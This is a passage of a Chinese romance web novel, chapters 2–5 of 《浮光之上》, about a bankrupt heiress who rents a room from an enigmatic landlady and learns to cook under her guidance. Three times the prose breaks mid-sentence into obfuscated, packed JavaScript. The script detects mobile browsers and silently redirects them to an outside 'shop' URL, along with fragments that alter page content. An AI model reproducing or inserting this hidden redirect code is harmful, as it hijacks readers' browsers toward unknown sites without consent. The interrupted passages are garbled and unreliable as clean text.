《浮光之上》 2. 第 2 章 沈枝薇乖巧点头:“好的,林荌姐姐。” “别叫姐姐。”林荌把合同收进抽屉,“叫林荌就行。” “那……林荌。”沈枝薇从善如流,声音软软的,“我今天下午就搬过来,可以吗?” “随你。”林荌重新端起那杯已经凉了的咖啡,走向自己的房间,“走的时候带上门。” 次卧的门轻轻关上。 沈枝薇站在客厅中央,环顾这个即将成为她新家的地方。 阳光透过纱帘洒进来,在地板上投下温柔的光斑。空气里有淡淡的咖啡香,和一种很干净、很空旷的味道。 她走到落地窗前,俯瞰楼下的车水马龙。 三天前,她还住在有游泳池和花园的别墅里。三天后,她要和陌生人合租,月租两千。 真是天道好轮回,苍天饶过谁啊。 沈枝薇闭上眼睛,深呼吸。 然后,她拿出手机,给搬家公司发了条消息。 又点开微信,找到一个备注为“李阿姨”的联系人。 “李姨,之前说的事情,麻烦您了。” 对方很快回复:“小姐放心,老爷和夫人的东西都收好了,放在储藏室。您要的那些衣服和包,我明天给您送过去。” “不用,给我地址,我自己去拿。”沈枝薇打字,“还有,以后别叫我小姐了。” 她收起手机,最后看了一眼主卧。 房间很好。房东……有点意思。 沈枝薇拎起她的帆布包,走出2801,轻轻带上门。 电梯下行时,她对着镜子补了补口红。 镜子里的人眼睛还微微发红,嘴角却扬起一个漂亮的、势在必得的弧度。 林荌。 她在心里默念这个名字。 次卧里,林荌靠在门上,听着外面大门关上的声音。 然后,她走到窗边,看着楼下那个米白色的身影走出单元门,在路边拦了辆出租车。 直到出租车汇入车流,消失不见,林荌才从口袋里掏出手机,点开一个页面。 那是沈枝薇的社交媒体小号。 昨天半夜,她通过手机号反查到的。里面没什么内容,只有几张风景照,和几条转发。 但足够她确认一些事情。 比如,沈枝薇三天前还在参加某品牌的私享会,照片里她穿着当季高定,笑得明艳动人。 比如,沈家破产的新闻,就发生在两天前。 林荌退出页面,点开微信,给一个备注为“陈律师”的人发了条消息: “你上次说的那个破产的沈家,他们家是不是有个女儿?” 对方很快回复:“对,叫沈枝薇,24岁。怎么,你认识?” 林荌看着屏幕上那个名字,轻笑一声。 “现在认识了。” 她放下手机,走到客厅,拿起沈枝薇刚才用过的水杯。杯沿上有一个淡淡的唇印,蜜桃色的。 林荌用指尖抹过那个唇印,然后走进厨房,把杯子放进水槽。 水龙头打开,水流冲过杯壁,唇印消失无踪。 林荌关上水,看着窗外明晃晃的太阳。 “穿八千块开衫的大小姐,来租两千块的房子。”她自言自语,声音里带着笑意,“沈枝薇,你打算演哪一出呢?” 她擦干手,从冰箱里拿出一罐冰可乐,拉开拉环。 气泡涌出的声音,在安静的房间里格外清晰。 “算了。”林荌喝了一口可乐,冰得她眯起眼睛,“反正最近挺无聊的。” “陪你玩玩。” 下午四点,沈枝薇带着两个行李箱,回到了2801。 她换了身衣服。 简单的白T恤和牛仔裤,头发扎成马尾,看起来清爽又无辜。妆重新化过,比上午更淡,几乎看不出痕迹,但眼睛显得更大,更清澈。 林荌开的门。她也换了衣服,还是黑色T恤,但换成了居家短裤,露出笔直修长的腿,头发放下来了,湿漉漉的,像是刚洗过澡。 “林荌。”沈枝薇露出一个略带羞涩的笑容,“我来了。” “嗯。”林荌侧身让她进来,目光在她身后的行李箱上扫过,“就这些?” “还有一些……之前放在朋友那里,过几天再拿。”沈枝薇含糊带过,拉着箱子进了主卧。 门关上。她靠在门上,轻轻吐出一口气。 然后,她开始整理行李。 行李箱里没什么贵重物品,几件基本款衣服,一些洗漱用品,几本书。真正值钱的东西,她已经寄存在李阿姨那里。那些不能卖,是她最后的体面。 整理到一半,敲门声响起。 沈枝薇迅速调整表情,打开门。 林荌站在门外,手里拿着一个玻璃碗,里面是洗好的樱桃。 “冰箱里还有,要吃自己拿。”她把碗递给沈枝薇。 “谢谢……”沈枝薇接过,指尖不经意间擦过林荌的手背。很轻,很快,像是无意。 林荌没什么反应,只是看了她一眼:“晚上我做饭,一起吃?” 沈枝薇眨眨眼:“你会做饭?” “不然呢?”林荌挑眉,“靠喝露水活着?” 沈枝微微微脸红,她低下头,小声说:“我、我可以帮忙打下手……” “不用。”林荌转身往厨房走,“别添乱就行。” 厨房是开放式的。沈枝薇坐在客厅沙发上,抱着樱桃碗,看着林荌在厨房里忙碌。 她动作很利落,洗菜切菜,热锅倒油,一气呵成。油烟机的声音里,油锅滋滋作响,蒜末的香气飘过来。 沈枝薇很久没闻过这种味道了。在沈家,厨房是佣人的领地,她甚至很少进去。饭菜总是精致地摆在桌上,温度刚好,摆盘完美。 但林荌做饭的样子不一样。她围着一条深蓝色的围裙,袖子挽到手肘,露出线条流畅的小臂。侧脸在厨房的灯光下显得很专注,睫毛很长,垂下来时在眼下投出一小片阴影。 沈枝薇拿起一颗樱桃,放进嘴里。 很甜。 “你一个人住这么大的房子,不会觉得空吗?”她问,声音在油烟机的背景音里显得柔软。 林荌没回头:“以前是有点。” “那为什么还要招租?” “找个合租的,就不空了。”林荌关火,把菜盛进盘子,“而且,两千块,就当请个会动的装饰品。” 沈枝薇咬樱桃的动作停了一下。 会动的……装饰品? 她看着林荌端着两盘菜走过来,放在餐桌上。一盘是蒜蓉西兰花,一盘是可乐鸡翅,还蒸了米饭。 “吃吧。”林荌递给她一双筷子。 沈枝薇接过,小声说了句谢谢。 饭菜的味道比她预想的好。西兰花清脆,鸡翅入味,米饭软硬适中。她小口小口吃着,动作斯文,但速度不慢。 她是真的饿了,家里面出事的这几天,忙得她嘴里都冒泡了,饭也吃好。 林荌吃得很安静,偶尔看她一眼,不说话。 吃到一半,沈枝薇的手机响了。她瞥了一眼,是陌生号码,直接按掉。 “不接?”林荌问。 “应该是推销电话。”沈枝微笑笑,但笑容有点勉强。 林荌没追问。 吃完饭,沈枝薇主动收拾碗筷:“我来洗碗吧。” “有洗碗机。”林荌说,“放进去就行。” 沈枝薇顿了顿,还是坚持:“我手洗吧,很快的。” 她端着碗筷走进厨房,打开水龙头。水温刚好,她挤了点洗洁精,开始洗碗。 林荌靠在厨房门框上看着她。 沈枝薇洗碗的姿势很生疏,甚至有点笨拙,但很认真。泡沫沾到了她的袖口,她也没在意,只是小心地冲洗每一只碗,然后用干净的布擦干。 “你没洗过碗?”林荌忽然问。 沈枝薇的背影僵了一下。 “……洗过。”她说,声音很轻,“只是……很久没洗了。” 林荌没再说话。 沈枝薇把最后一个盘子擦干,放进碗架,然后转过身,对她露出一个笑容:“洗好了。” 她的袖子湿了一小片,脸颊因为热气而微微泛红,眼睛亮晶晶的。 林荌看着她,看了两秒,然后转身走向客厅。 “早点休息。”她说。 “林荌。”沈枝薇叫住她。 林荌回过头。 “谢谢你。”沈枝薇说,声音柔软真诚,“谢谢你租房子给我,也谢谢你做的饭。” 林荌点点头,没说什么,走进了次卧。 门轻轻关上。 沈枝薇站在厨房里,听着水龙头滴水的声音。 滴答 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375403|200077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。滴答。 她抬起手,看着自己湿漉漉的指尖。指甲修剪得很整齐,涂着透明的护甲油,在灯光下泛着健康的光泽。 这双手,三天前还戴着七位数的钻戒,在慈善晚宴上举杯。 现在,它在洗两个人的碗。 沈枝薇关上水龙头,擦干手,走回主卧。 关上门,反锁。 然后,她靠在门上,缓缓滑坐在地。 脸上的笑容消失了。她抱住膝盖,把脸埋进臂弯里。 肩膀开始颤抖。 没有声音,只是安静地、剧烈地颤抖。 五分钟后,她抬起头,眼眶是红的,但没有眼泪。 她站起来,走到浴室,打开水龙头,用冷水洗了把脸。 抬起头,看着镜子里的自己。 眼睛还红着,但眼神很冷静,很清醒。 “沈枝薇。”她对着镜子,轻声说,“你可以的。” 然后,她开始脱衣服,准备洗澡。 花洒打开,热水倾泻而下,蒸腾起白色的水汽。 在水声中,沈枝薇闭上眼睛,开始复盘今天的一切。 沈枝薇抹了把脸上的水。 思索良久,沈枝薇关掉水,用浴巾擦干身体,换上睡衣。 然后,她拿起手机,点开林荌的微信头像。 朋友圈三天可见,什么也没有。 沈枝薇想了想,发了一条消息过去: “林荌,我洗好澡了。今天真的很谢谢你[可爱]” 等了一分钟,没有回复。 沈枝薇不着急。她退出微信,打开备忘录,开始记录今天的事。 写完,她锁上手机,躺在床上。 窗外,城市的灯光透过纱帘,在天花板上投下模糊的光影。 沈枝薇闭上眼睛。 次卧里,林荌靠在床头,看着手机上那条消息。 “林荌,我洗好澡了。今天真的很谢谢你。[可爱]” 她盯着那个[可爱]的表情看了几秒,然后关掉屏幕,把手机扔到一边。 床头灯的光晕柔和。林荌从床头柜上拿起那本看了一半的建筑杂志,翻了几页,又合上。 她想起沈枝薇洗碗的样子。生疏,但认真。袖子湿了也没管,只是低着头,小心地冲洗每一只碗。 也想起她吃樱桃时,嘴唇被果汁染成淡红色的样子。 还有她说“谢谢你”时,那双亮晶晶的眼睛。 林荌闭上眼睛,揉了揉眉心。 然后,她重新拿起手机,点开和陈律师的聊天记录。 往上翻,是陈律师下午发来的一条新消息: “对了,沈家那个案子有点复杂。沈明诚,就是沈枝薇她爸,可能涉嫌非法集资,现在人在国外,暂时回不来。沈枝薇她妈上个月就出国了,说是治病,但具体不清楚。沈枝薇现在……说白了,就是被扔在国内一个人扛着。” 林荌看着那条消息,沉默了很久。 然后,她打字回复: “知道了。” 对方正在输入了一会儿,发来一条: “你怎么突然关心这个?该不会是……?” 林荌没回。 她退出微信,关掉床头灯。 黑暗中,她睁开眼睛,看着天花板。 耳边,似乎还回响着沈枝薇那句软软的“林荌”。 带着一点鼻音,一点试探,一点……刻意为之的甜。 林荌翻了个身,把脸埋进枕头里。 “沈枝薇。”她低声说,声音闷在枕头里,模糊不清。 “你最好……” 否则。 否则什么,她没说。 只是闭上眼睛,在沈枝薇那句“谢谢你”的回音里,缓缓沉入睡梦。 而一墙之隔的主卧里,沈枝薇也睡着了。 她做了一个梦。梦见自己还在沈家的别墅里,穿着漂亮的裙子,在花园里喝下午茶。阳光很好,茶很香,一切都很好。 然后,梦醒了。 她睁开眼睛,看着陌生的天花板,花了三秒钟才想起自己在哪里。 窗外,天还没亮。 沈枝薇坐起来,抱住膝盖,把脸埋进去。 没关系。 她对自己说。 会好起来的。 一切,都会好起来的。 3. 第 3 章 搬进林荌家的第七天,沈枝薇摸清了她的作息规律。 早晨八点,次卧会准时传来淋浴的水声,持续十五分钟。八点半,林荌会穿着运动服从房间出来,去阳台的跑步机上待四十分钟。九点十分,她冲第二遍澡,然后穿着家居服出现在厨房,做一杯手冲咖啡。 九点半,她会端着咖啡坐到客厅的落地窗前,看半小时书或者平板电脑。十点,出门。有时候是去健身房,有时候是去超市,有时候什么都不带,空手出去,几小时后回来。 晚上六点是晚餐时间。林荌会做两个人的饭,两菜一汤,偶尔有鱼或者虾,但从不问沈枝薇想吃什么,也不问她回不回来吃。 沈枝薇试过一次。那天她“刚好”在六点前回来,坐在客厅的沙发上,抱着膝盖看书。 林荌从厨房端菜出来,看见她,只是抬了抬下巴:“洗手,吃饭。” 没有“你回来了”,没有“今天怎么样”,就像她一直在家,只是恰好这个时间点出现在餐桌旁。 沈枝薇喜欢这种理所当然。这让她觉得,自己好像本来就该在这里。 “你在看什么?” 第七天的早晨,沈枝薇走出房间时,林荌正站在咖啡机前。她没有回头,但知道沈枝薇出来了。 “《小王子》。”沈枝薇晃了晃手里的书,封皮是软精装,边角有点磨损。这是她从家里带出来的为数不多的几本书之一。 林荌嗯了一声,没再说话。咖啡机的蒸汽管发出嗤嗤的声音,空气里弥漫开深烘豆子的焦香。 沈枝薇走到她旁边,靠着料理台,看着她操作。林荌的手很稳,倒水,闷蒸,注水,动作流畅得像某种仪式。她的手型很好看,手指修长,骨节分明,指甲修剪得很干净,没有涂任何颜色。 “要尝尝吗?”林荌忽然问。 沈枝薇愣了一下,然后点头:“好。” 林荌从柜子里拿出另一个杯子,倒了小半杯,推给她:“没加糖,没加奶。” 沈枝薇接过来,小心地抿。咖啡很烫,苦,但后味有很淡的果酸。她不常喝黑咖啡,以前都是加很多奶和糖,但这次她没说话,只是小口小口地喝。 “怎么样?”林荌问,给自己也倒了一杯。 “……苦。”沈枝薇老实说,然后补充,“但很香。” 林荌看了她一眼,眼里有很淡的笑意:“喝得惯就喝,喝不惯冰箱里有牛奶。” “喝得惯。”沈枝薇立刻说,又喝了一大口,结果被烫得眼眶发红。 林荌摇摇头,转身打开冰箱,拿出一小盒牛奶,放到她面前。 沈枝薇看着那盒牛奶,又看看林荌的背影,抿了抿唇。 “林荌。”她小声叫。 “嗯?” “你……是做什么工作的?” 林荌转过身,靠在料理台上,和她面对面。晨光从她身后的窗户照进来,给她整个人镀了层毛茸茸的金边。 “怎么想起问这个?” “就是……好奇。”沈枝薇低下头,手指摩挲着杯壁,“你好像不用上班,但又有收入……” “收租。”林荌言简意赅,“这栋楼,我有三套。” 沈枝薇眨眨眼。 “其他的房子,在别的小区。”林荌喝了口咖啡,语气平淡得像在说今天天气不错,“所以,严格来说,我的工作是包租婆。” 沈枝薇张了张嘴,想说什么,又咽了回去。 她想起来了。沈家还没倒的时候,她爸有个朋友,就是靠收租过活的。那人手里有二十几套房子,每个月的工作就是收收租,修修水管,日子过得比谁都逍遥。 但她没想到,林荌也是。 而且,她看起来那么……年轻。 “不像?”林荌挑眉。 沈枝薇诚实地摇头:“不像。” “那像什么?” “像……”沈枝薇打量她。林荌今天穿了件简单的白T恤,灰色运动裤,头发扎成低马尾,素颜,皮肤好得发光。“像模特,或者……设计师?” 林荌笑了。不是那种礼貌的笑,是真的被逗笑了,眼睛弯起来,眼尾有很淡的纹路。 “谢谢。”她说,“但很可惜,都不是。” 她放下咖啡杯,走到玄关开始换鞋:“我上午要去看个房子,中午不回来。冰箱里有菜,你自己热着吃。” “你要出去?”沈枝薇跟过去。 “嗯。”林荌穿上运动鞋,直起身,比她高半个头,“有事?” “没、没事。”沈枝薇摇头,然后又想起什么,“那个……晚上,你想吃什么?我、我可以做。” 林荌系鞋带的动作停了一下。 “你会做饭?” “会一点。”沈枝薇说,声音越来越小,“可能没你做得好,但……我可以学。” 林荌系好鞋带,站起来,看着她。 沈枝薇今天穿了件浅粉色的针织衫,头发披着,没化妆,看起来比实际年龄小好几岁。她仰着脸看林荌,眼睛睁得圆圆的,像某种小动物。 “随便。”林荌移开视线,拉开大门,“做你想做的就行。我六点回来。” 门关上。 沈枝薇站在玄关,听着电梯下行的声音,缓缓吐出一口气。 然后,她转身走进厨房,打开冰箱。 冷藏室里整齐地码放着蔬菜、鸡蛋、牛奶。冷冻室里有肉、虾、速冻饺子。林荌的生活很有条理,每样东西都有固定的位置。 沈枝薇拿出手机,点开下厨房APP。 她输入“家常菜简单”,跳出来一大堆结果。她翻了半天,最后选定一个“番茄炒蛋”和一个“蒜蓉西兰花”。 都是林荌做过的菜。 她看了一遍视频教程,记下步骤,然后开始准备食材。 番茄要烫一下去皮,鸡蛋要加一点盐打散,西兰花要掰成小朵,用盐水泡…… 沈枝薇做得很慢,很仔细。烫番茄的时候差点烫到手,打鸡蛋的时候蛋壳掉进碗里,掰西兰花掰得满手都是碎屑。 但她没停。 两个小时后,厨房的料理台上摆着两盘菜。番茄炒蛋的蛋有点老,番茄出水太多,汤汁稀稀的。蒜蓉西兰花的蒜炒糊了,边缘有点发黑。 沈枝薇看着那两盘菜,咬了咬下唇。 然后,她拿出手机,对着菜拍了张照,发给林荌。 “我第一次做,可能不好吃……[可怜]” 发完,她盯着手机屏幕,等回复。 一分钟,两分钟,五分钟。 没有动静。 沈枝薇把手机扣在桌上,端起菜,放进微波炉里保温。 然后,她回到房间,关上门,倒在床上。 脸埋进枕头里。 她不知道自己为什么要这么做。为什么要主动提出做饭,为什么要做林荌做过的菜,为什么要发那条消息。 也许,只是想证明自己不是个一无是处的花瓶。 可能,只是想看看林荌的反应。 …… 手机震了一下。 沈枝薇立刻抓起来。 林荌回了一张照片。是一套老房子的客厅,墙皮脱落,地板翘起,窗户玻璃碎了好几块。配文:“在看这个,六点前回不去。你自己先吃,别等我。” 沈枝薇盯着那条消息,看了很久。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375404|200077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 然后,她打字:“没事,我等你。路上小心。” 发送。 她放下手机,重新躺回床上,看着天花板。 心脏的位置,有一种很陌生的感觉。 酸酸的,胀胀的。 林荌晚上七点半才回来。 她开门的时候,沈枝薇正坐在沙发上,抱着膝盖,在看电视。电视里在放一部很老的港片,声音开得很小,小到几乎听不见。 听见开门声,沈枝薇转过头,眼睛亮了一下。 “你回来了。”她站起来,赤着脚跑过来,“吃饭了吗?菜在微波炉里,我帮你热。” “不用。”林荌拦住她,目光落在她脸上,“你还没吃?” 沈枝薇摇头:“我不饿。” “撒谎。”林荌说,声音很淡,但很肯定。 沈枝薇不说话了,低下头。 林荌看了她两秒,然后脱了外套,往厨房走:“热菜吧,一起吃。” “好!” 沈枝薇跟在她身后,脚步轻快。 微波炉嗡嗡作响。林荌靠在料理台上,看着沈枝薇忙前忙后地拿碗筷,盛饭,摆桌子。她的动作还有点生疏,但很认真,侧脸在厨房的灯光下显得很柔和。 “你今天去看的那个房子,很破吗?”沈枝薇一边摆筷子一边问。 “嗯,老破小,三十年了。”林荌说,“租客刚搬走,要重新装修。” “你要自己装?” “找设计师,我监工。”林荌说,“怎么,有兴趣?” 沈枝薇摇头:“我就是……随便问问。” 微波炉叮一声。沈枝薇戴上隔热手套,把菜端出来,摆在桌上。 一荤一素,两碗米饭。 “吃吧。”她坐下,小声说。 林荌拿起筷子,先夹了一筷子番茄炒蛋,送进嘴里。 沈枝薇紧张地看着她。 林荌嚼了几口,咽下去,表情没什么变化。 “怎么样?”沈枝薇忍不住问。 “咸了。”林荌说,又夹了一筷子西兰花,“这个蒜糊了。” 沈枝薇的眼神黯下去。 “但是,”林荌接着说,又夹了一筷子鸡蛋,“能吃。” 沈枝薇抬起头。 林荌低着头吃饭,侧脸平静。她吃饭的样子很认真,不紧不慢,每一口都咀嚼得很充分。番茄炒蛋的汤汁拌在米饭里,她吃得很干净。 沈枝薇的心,像被什么东西轻轻挠了一下。 她也拿起筷子,开始吃饭。 鸡蛋确实咸了,西兰花也的确有糊味。但很奇怪,她吃着吃着,竟然觉得……还不错。 两个人安静地吃完饭。沈枝薇要收拾碗筷,林荌拦住她。 “我来。”她说,“你做饭,我洗碗。” 沈枝薇想说“我可以洗”,但林荌已经端着盘子进了厨房,打开了水龙头。 她站在原地,看着林荌的背影。 林荌今天穿了件黑色的工装衬衫,袖子挽到手肘,露出小臂流畅的线条。水声哗哗,她低着头,很仔细地清洗每一只碗。 沈枝薇忽然想起,以前在沈家,佣人洗碗的时候,她从来没有看过。 她觉得那是理所当然的。花钱,买服务,天经地义。 但现在,她站在这里,看着林荌洗她做出来的、并不好吃的菜用的碗,心里有一种很奇怪的感觉。 像是……愧疚。 又像是,别的什么。 “林荌。”她开口,声音很小。 “嗯?” “对不起。”沈枝薇说, “菜做得不好吃。” 4. 第 4 章 水声停了。林荌关掉水龙头,转过身,用毛巾擦手。 “谁说你做得不好吃?”她问。 沈枝薇愣了一下:“你……你刚才不是说,咸了,糊了……” “那是事实。”林荌把毛巾挂好,走到她面前,“但不好吃,和不能吃,是两回事。” 她比沈枝薇高,看着她的时候需要微微低头。厨房的灯光从她头顶照下来,在她脸上投出浅浅的阴影。 “我第一次做饭的时候,”林荌说,声音很平淡,“把锅烧穿了。” 沈枝薇睁大眼睛。 “真的。”林荌说,“煮泡面,水放少了,忘了关火,锅底烧出个大洞。整间屋子都是烟,邻居差点报警。” 沈枝薇没忍住,笑出声。 “所以,”林荌看着她笑,自己也弯了弯嘴角,“你已经很好了。” 沈枝薇的笑停住了。 她看着林荌,看着林荌眼睛里那点很淡的、几乎看不见的笑意,心脏的位置,那种酸胀的感觉又出现了。 比刚才更强烈。 “谢、谢谢。”她低下头,耳朵有点热。 “不用谢。”林荌绕过她,往客厅走,“明天我教你几个简单的菜。” 沈枝薇抬起头:“真的?” “嗯。”林荌在沙发上坐下,拿起遥控器换台,“免得你下次再把蒜炒糊了。” 沈枝薇走过去,在她旁边坐下,中间隔了一个人的距离。 电视里在放新闻,主播的声音平稳无波。林荌靠在沙发背上,腿伸长,搭在茶几边缘,姿态放松。 沈枝薇偷偷看她。 林荌的侧脸很好看。鼻梁很高,嘴唇的线条很清晰,下颌线利落干净。她的睫毛很长,垂下来的时候,在眼下投出一小片阴影。 “看什么?”林荌忽然开口,眼睛还看着电视。 沈枝薇吓了一跳,赶紧移开视线:“没、没什么。” 林荌没再说话。 客厅里只有电视的声音。新闻播完,开始放天气预报。主持人说明天多云转晴,气温十八到二十五度。 “林荌。”沈枝微小声叫。 “嗯?” “你为什么会……把房子租给我?”沈枝薇问,手指揪着衣角,“我的意思是,那么多人想租,为什么是我?” 林荌换了个姿势,转过头看她。 “你想听真话还是假话?” “……真话。” “真话是,”林荌说,目光平静,“你长得好看。” 沈枝薇愣住。 “我这个人,肤浅。”林荌转回头,继续看电视,“喜欢好看的东西。房子要好看,家具要好看,合租的人,也要好看。” 沈枝薇张了张嘴,想说点什么,但一个字也说不出来。 耳朵更热了。 “那、那假话呢?”她听见自己问。 “假话你。” 沈枝薇的心脏,重重地跳了一下。 “那……”她抿了抿唇,“你是因为真话租给我,还是因为假话?” 林荌没回答。 她拿起遥控器,关了电视。客厅里瞬间安静下来,只有窗外隐约传来的车流声。 “沈枝薇。”林荌站起来,低头看她。 沈枝薇仰起脸。 “有些问题,别问得太清楚。”林荌说,声音很轻,但很清晰,“问清楚了,就没意思了。” 她说完,转身往房间走。 走到门口,又停下,回过头。 “碗洗好了,厨房收拾干净了。”她说,“明天上午十点,我教你做菜,可别起不来。” 然后,她关上了门。 沈枝薇坐在沙发上,一动不动。 良久,她抬起手,摸了摸自己的耳朵。 烫的。 第二天上午十点,沈枝薇准时出现在厨房。 她穿了件简单的白T恤和牛仔短裤,头发扎成丸子头,脸上干干净净,没化妆。 林荌已经在了。她也穿了白T恤和短裤,不过是黑色的,头发扎成高马尾,看起来比平时更利落。 料理台上摆着食材:两个番茄,三个鸡蛋,一把小葱,还有蒜。 “今天学番茄炒蛋的改良版。”林荌说,递给她一条围裙,“穿上。” 围裙是深蓝色的,棉布材质,洗得有点发白。沈枝薇接过来,套上,在背后系带子。带子有点短,她系了半天,打了个歪歪扭扭的结。 林荌看不下去,走过来:“转过去。” 沈枝薇转过身。林荌的手指擦过她的后腰,解开那个歪扭的结,重新系好。她的动作很快,手指很轻,但沈枝薇还是感觉到,那一小块皮肤,像被烫了一下。 “好了。”林荌说,退后一步,“先打鸡蛋。碗,筷子,盐。” 沈枝薇照做。拿碗,拿筷子,拿盐罐。手有点抖,鸡蛋壳掉进碗里,她手忙脚乱地往外挑。 “别急。”林荌站在她身边,看着她,“慢慢来。” 她的声音很近,呼吸几乎擦过沈枝薇的耳朵。 沈枝薇深吸一口气,重新拿了两个鸡蛋,磕进碗里。这次很顺利,蛋壳完整地分成两半,蛋液滑进碗里。 “加一点盐,一点水。”林荌说,“水可以让鸡蛋更嫩。” 沈枝薇照做。加一小撮盐,加一小勺水,然后用筷子打散。蛋液在碗里旋转,变成均匀的淡黄色。 “可以了。”林荌说,“接下来,处理番茄。” 番茄已经洗好了。林荌递给她一把刀:“在顶端划十字,用开水烫,去皮。” 沈枝薇接过刀。刀很沉,她握得有点紧。 “别紧张。”林荌的手覆上来,握住她的手,“这样拿,手腕用力,不是手指。” 她的手比沈枝薇的大,掌心温热,手指有力。沈枝薇能感觉到她掌心的薄茧,摩擦过自己的手背。 “划十字,不用太深,划破皮就行。”林荌带着她的手,在番茄顶端轻轻划了两刀。 刀刃划破番茄皮,发出轻微的嗤声。 “好了。”林荌松开手,“去烫吧。” 沈枝薇把番茄放进碗里,浇上开水。番茄皮在热水里卷曲,脱离果肉。她看着,忽然想起以前在沈家,厨房的佣人也是这样处理番茄的。 但那时候,她从来不会看。 “在想什么?”林荌问。 沈枝薇回过神,摇摇头:“没什么。” 番茄烫好了,她捞出来,去皮,切块。林荌站在她身边,看着她切。 “刀工不行。”林荌评价,“但还行,能吃。” 沈枝薇切完番茄,额头上出了一层薄汗。她抬起手,想擦,林荌已经抽了张纸巾递过来。 “谢谢。”沈枝薇接过,擦了擦汗。 “开火,倒油。”林荌说,“油热了放鸡蛋。” 沈枝薇打开火,倒油。油热了,冒起青烟,她有点慌,不知道该什么时候放鸡蛋。 “现在。”林荌说。 沈枝薇把蛋液倒进去。滋啦一声,蛋液在锅里迅速膨胀,变成金黄色的蛋饼。她用锅铲翻炒,把鸡蛋炒散,盛出来。 “接下来炒番茄。”林荌说,“不用再放油,用底油就行。” 沈枝薇把番茄倒进去。番茄在锅里滋滋作响,汁水渗出,空气里弥漫开酸甜的香气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375405|200077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “加一点糖,中和酸味。”林荌递给她糖罐。 沈枝薇加了一小勺糖。 “再加一点番茄酱,颜色更好看。” 沈枝薇照做。 番茄炒软了,出汁了,林荌说:“把鸡蛋倒回去,翻炒均匀,撒葱花,出锅。” 沈枝薇手忙脚乱地把鸡蛋倒回去,翻炒,撒葱花,关火,盛盘。 一盘番茄炒蛋,完成了。 她看着那盘菜。鸡蛋金黄,番茄红润,葱花翠绿,汤汁浓稠。比昨天那盘好多了。 “尝尝。”林荌递给她一双筷子。 沈枝薇夹了一筷子,送进嘴里。 鸡蛋很嫩,番茄酸甜适中,味道……刚刚好。 “怎么样?”林荌问。 沈枝薇抬起头,眼睛亮晶晶的:“好吃!” 林荌笑了。不是那种很淡的笑,是真正的、眼睛弯起来的笑。 “嗯。”她说,“好吃。” 沈枝薇也笑,笑着笑着,眼眶有点热。 她赶紧低下头,又夹了一筷子,塞进嘴里。 “慢点吃。”林荌说,转身从冰箱里拿出两盒牛奶,递给她一盒,“又没人跟你抢。” 沈枝薇接过牛奶,插上吸管,喝了一大口。 冰凉的牛奶冲淡了嘴里的味道,但那种酸甜的感觉,还留在舌尖。 “林荌。”她小声叫。 “嗯?” “谢谢你。”沈枝薇说,声音很轻,但很认真,“真的。” 林荌没说话,只是看着她。 阳光从窗户照进来,落在沈枝薇脸上。她的睫毛很长,在眼下投出浅浅的阴影。鼻尖上有一点点汗,脸颊因为热气而泛着淡淡的粉。 她的眼睛很亮,像含着水光。 林荌移开视线,喝了一口牛奶。 “不用谢。”她说,声音很淡,“学费,从你下个月房租里扣。” 沈枝薇愣了一下,然后笑出声。 “好。”她说,笑得眼睛弯成月牙,“扣多少?” “一盘菜,十块。”林荌说,放下牛奶盒,“你欠我十块。” 沈枝微笑得更厉害了。她笑得肩膀都在抖,笑得眼泪都出来了。 林荌看着她笑,嘴角也微微扬起。 “傻不傻。”她说,伸手,用指腹擦掉沈枝薇眼角的泪。 动作很轻,很快,一触即分。 沈枝薇的笑声戛然而止。 她看着林荌,看着林荌的手指,看着林荌的眼睛。 林荌也看着她,目光平静,深邃,像看不到底的湖。 空气突然安静了。 只有窗外的鸟叫声,和冰箱低沉的嗡鸣。 “我……”沈枝薇开口,声音有点哑。 “我出去一下。”林荌打断她,转身往外走,“下午回来。你自己吃饭。” “林荌!”沈枝薇叫住她。 林荌停在门口,没回头。 “晚上……”沈枝薇说,手指紧紧攥着围裙的边缘,“晚上,你想吃什么?我、我可以再做……” 林荌沉默了几秒。 “随便。”她说,然后拉开门,走了出去。 门关上。 沈枝薇站在厨房里,看着那盘还冒着热气的番茄炒蛋,看着林荌刚才站过的地方。 然后,她抬起手,摸了摸自己的眼角。 那里,还残留着一点温度。 林荌手指的温度。 沈枝薇缓缓蹲下来,抱住膝盖,把脸埋进臂弯里。 心脏跳得很快,咚咚咚,像要撞出胸膛。 她不知道这是怎么了。 5. 第 5 章 从那天之后,林荌开始教沈枝薇做更多的菜。 清炒时蔬,蒜蓉蒸虾,红烧排骨,番茄牛腩。从简单的到复杂的,从素菜到荤菜。林荌教得很耐心,沈枝薇学得很快。 